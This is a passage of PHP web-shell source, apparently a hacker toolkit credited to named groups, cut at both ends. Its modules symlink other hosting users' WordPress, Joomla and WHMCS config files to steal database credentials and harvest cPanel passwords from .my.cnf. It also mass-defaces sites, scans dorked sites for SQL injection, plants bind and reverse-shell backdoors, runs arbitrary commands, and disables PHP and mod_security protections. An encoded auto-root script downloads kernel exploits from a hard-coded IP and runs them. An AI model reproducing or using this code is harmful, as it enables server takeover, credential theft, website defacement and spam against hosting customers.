echo "<center>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Grab!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('bhconfig', 0755);@chdir('bhconfig');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
$passwd=explode("
",$passwd);
echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);$user =$pawd[0];
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="bhconfig">Open configs</a></font></b>';}
?>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailerz')){eval(gzinflate(base64_decode($mailerz))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpauto')){
?>
<center>
<br>
<br><b>-= Auto Cpanel Finder =- <br></b><br>
<?php
/**
* @author: FaisaL Ahmed aka rEd X
* @mail: [email protected]
* @Screenshot: http://prntscr.com/7c1p34
* @Last Updated: 01 June 2015
*/
@ini_set('display_errors',0);
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
return trim($ar1[0]);
}
echo "<center>";
$d0mains = @file('/etc/named.conf');
$domains = scandir("/var/named");
if ($domains or $d0mains)
{
$domains = scandir("/var/named");
if($domains) {
echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
$count=1;
$dc = 0;
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
$dirz = '/home/'.$owner['name'].'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
}
}
}
echo '</table>';
$total = $dc;
echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
echo '</center>';
}else{
$d0mains = @file('/etc/named.conf');
if($d0mains) {
echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
$count=1;
$dc = 0;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
$usr[] = $infos['name'];
$dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file('/etc/passwd');
$passwd = array();
foreach($dt as $d) {
$r = explode(':',$d);
if(strpos($r[5],'home')) {
$passwd[$r[0]] = $r[5];
}
}
$l=0;
$j=1;
foreach($usr as $r) {
$dirz = '/home/'.$r.'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$r.'.txt');
$p=file_get_contents(''.$path.'/'.$r.'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
flush();
$l=$l?0:1;
$j++;
}
}
}
echo '</table>';
$total = $dc;
echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
echo '</center>';
}
}else{
echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
}
echo "<br><br>";
?>
<h1><br>© <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army</hr><br><br>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumpingz')){
?>
<center><br><br><h1>-=Jumping Server Scanner=-<h1>
<?php
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="blue" face="Calibri"><b>Error: Safe_mode = On</b></font>');
set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="blue" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>');
}
$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); }}}$i++;}
echo '<font size="3" color="#008080" face="Calibri"> [-]==================[ START ]==================[-] <br><br></font>';
foreach ($users as $user){echo "<font size='3' color='red' face='Calibri'> [+] <a href = '".basename($_SERVER['PHP_SELF'])."?y=/home/$user/public_html/' target='_blank'>/home/$user/public_html/</a></font><br/>";} echo "
<font size='3' color='#008080' face='Calibri'><br>[-]==================[ FINISH ]==================[-] <br></font>
"; echo "
<font size='2' color='#800000' face='Calibri'>[+] Scanners have been completed | Thank you for using this tools [+]</font>
"; echo '</body></html>'; ?>
</center>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'massdeface2')){
?>
<form action="?y=<?php echo $pwd; ?>&x=massdeface2" method="post"><br> <center><div id="menu"><a href="?<?php echo "y=".$pwd; ?>&x=sabun">Sabun Massal</a> <a href="?<?php echo "y=".$pwd; ?>&x=massdeface2">Alternate Mass Deface</a> <a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a></center><br>
<center>
<b> -= Alternate Mass Deface index.php =- </b><br><br>
<?php
error_reporting(0);
echo "<center><textarea style='background:black;outline:none;' name='index' rows='10' cols='67'>";
$defaceurl = $_POST['massdefaceurl'];
$dir = $_POST['massdefacedir'];
echo $dir."
";
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir.$file)=="dir"){
$newfile=$dir.$file."/index.php";
$newtempik="http://".$file."index.php";
echo $newtempik."
";
if (!copy($defaceurl, $newfile)) {
echo "Error > ";
}
}
}
closedir($dh);
}
}
echo "</textarea></center>";
?>
<br>
<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
[+] Main Directory: <input class ='inputz' type='text' size='60' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
<br><br>
[+] Defacement Url: <input class ='inputz' type='text' size='60' name='massdefaceurl'>
<br>
<br>
<input id="menu" type='submit' name='execmassdeface' value='Execute'></form></td>
<br><br><br>
<font size="5">
** Main Directory = The Directory you want to mass deface (Must have read/write permission) **<br>
** Defacement Url = URL of your deface page (e.g: http://kontol.com/deface.html ) **<br><br>
<b>Recoded By 0x1999</b>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner')){
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){eval(gzinflate(base64_decode($upload))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php
}
else {
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
$file = $_GET['delete'];
@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<br><center>
<br><br>
<table><tr><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST['ini']))
{
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die();
}
?></tr><tr> <form >
<select class="inputzbut" name='tamv' onchange="if (this.value) window.open(this.value);">
<option selected="selected" value=""> Tools Creator </option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=wso ";?>">WSO 2.8.1</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=1n73 ";?>">1n73ction v3</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=sabunmassal ";?>">Sabun Massal</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=wk ";?>">WHMCS Killer</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=adminer ";?>">Adminer 4.2.3</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=b374k ";?>">b374k Shell</option>
</select>
<noscript><input type="submit" value="Submit"></noscript>
</form></tr><tr>
<form >
<select class="inputzbut" name='tamv' onchange="if (this.value) window.open(this.value);">
<option selected="selected" value=""> Tools Spammer </option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=ppmailceker ";?>">Paypal Valid Email Checker</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=promailerv2 ";?>">Pro Mailler v2</option>
</select>
<noscript><input type="submit" value="Submit"></noscript>
</form>
</tr><tr>
<form method="post" action=""> <select class="inputzbut" align="left" name="pilihan" id="pilih"><option value=""selected>Select Your Favorit Tools</option><option value="htasell">htaccess Shell [ .htaccess ]</option><option value="rrot" >Perl Auto Rooting [ r00t.pl ]</option><option value="inisial" >PHP Auto Rooting [ r00t.php ]</option><option value="slc" >Server Log Cleaner [ serverLC.sh ]</option><option value="port" >Python Open Port 13123 [ port.py ]</option><option value="ini">Bypass Disable Function in Apache</option><option value="inis">Bypass Disable Function in Litespeed</option></select>
<input type="submit" name="submites" class="inputzbut" value="Created"></td>
</form>
<?php
$submit = $_POST ['submites'];
if(isset($submit)) {
$pilih = $_POST['pilihan'];
if ( $pilih == 'ini') {
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
$iniphp = '<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"];
?>';
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
file_put_contents("ini.php",$iniphp);
echo "<script>alert('Disable Functions in Apache Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'inis') {
$iniph = '<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"];
?>';
$byph = "safe_mode = Off
disable_functions= ";
$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
file_put_contents("php.ini",base64_decode($byph));
file_put_contents("ini.php",base64_decode($iniph));
file_put_contents(".htaccess",base64_decode($comp));
echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'inisial') {
$rroter ="IyEvdXNyL2Jpbi9waHAgDQo8P3BocCANCi8qIA0KIyBBdXRvIHJvb3QgMjAxMyBEZXZlbG9wcGVkIGJ5IE1hdXJpdGFuaWEgQXR0YWNrZXINCiMgd3d3Lm1hdXJpdGFuaWEtc2VjLmNvbQ0KIyBodHRwczovL3d3dy5mYWNlYm9vay5jb20vbWF1cml0YW5pZS5mb3JldmVyDQojIDwzIEFub25HaG9zdCA8MyANCiovIA0Kc2V0X3RpbWVfbGltaXQoMCk7IA0Kc3lzdGVtKCJjbGVhciIpOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS0tLS0tfFxuIjsgDQpwcmludCAifFBIUCBBdXRvIFJvb3QgYnkgTWF1cml0YW5pYSBBdHRhY2tlciAgICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInwtLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLS0tLS0tLS0tLS18XG4iOyANCnByaW50ICJ8Q29udGFjdDogZmIuY29tL21hdXJpdGFuaWUuZm9yZXZlciAgICAgICAgICAgICAgICAgfFxuIjsgDQpwcmludCAifFByaXY4IFZlcnNpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInxSb290aW5nOiBMaW51eCBhbmQgRnJlZUJTRCAgICAgICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8PDMgQW5vbkdob3N0IDwzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsgDQpwcmludCAifC0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tLS0tLS0tLS0tLXxcbiI7IA0Kc2xlZXAoNCk7IA0KcHJpbnQgIlxuS2VybmVsIHRvIHZlcmlmeTpcbiI7IA0KcHJpbnQgImxueCBvciBic2Q6ICI7IA0KJGtlcm5lbCA9IGZnZXRzKFNURElOKTsgDQoka2VybmVsID0gdHJpbSgka2VybmVsKTsgDQppZigka2VybmVsID09ICJsbngiKSANCnsgDQpwcmludCAifC0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tLS0tLS0tLS18XG4iOyANCnByaW50ICJ8UEhQIEF1dG8gUm9vdCBieSBNYXVyaXRhbmlhIEF0dGFja2VyICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInwtLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLS0tLS0tLS0tfFxuIjsgDQpwcmludCAifFNlbGVjdGVkIGtlcm5lbCA6IHxMaW51eCBhcnF8ICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS0tLXxcbiI7IA0Kc2xlZXAoMik7IA0KcHJpbnQgIlxuWytdIFRlc3RpbmcgbG54IHhwbCdzIHBsZWFzZSB3YWl0LlxuIjsgDQpwcmludCAiW35dIE1lYW53aGlsZSBzbW9rZSBhIGNpZ2FyZXQgWEQgKDpcbiI7IA0Kc2xlZXAoMik7IA0Kc3lzdGVtKCJta2RpciBsbng7Y2QgbG54LyIpOyANCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuM2FsbCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zYWxsIik7IA0Kc3lzdGVtKCIuLzIuNi4zYWxsIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTciKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTciKTsgDQpzeXN0ZW0oIi4vMi42LjE3Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgiKTsgDQpzeXN0ZW0oIi4vMi42LjE4Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgtNiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02Iik7IA0Kc3lzdGVtKCIuLzIuNi4xOC02Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgtMjAiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMjAiKTsgDQpzeXN0ZW0oIi4vMi42LjE4LTIwIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzIiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzIiKTsgDQpzeXN0ZW0oIi4vMi42LjMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzJfaTY4NiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMl9pNjg2Iik7IA0Kc3lzdGVtKCIuLzIuNi4zMl9pNjg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzJuaW5lIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjMybmluZSIpOyANCnN5c3RlbSgiLi8yLjYuMzJuaW5lIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzMiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsgDQpzeXN0ZW0oIi4vMi42LjMzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzQiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQiKTsgDQpzeXN0ZW0oIi4vMi42LjM0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzQtMjAxMSIpOyANCnN5c3RlbSgiY2htb2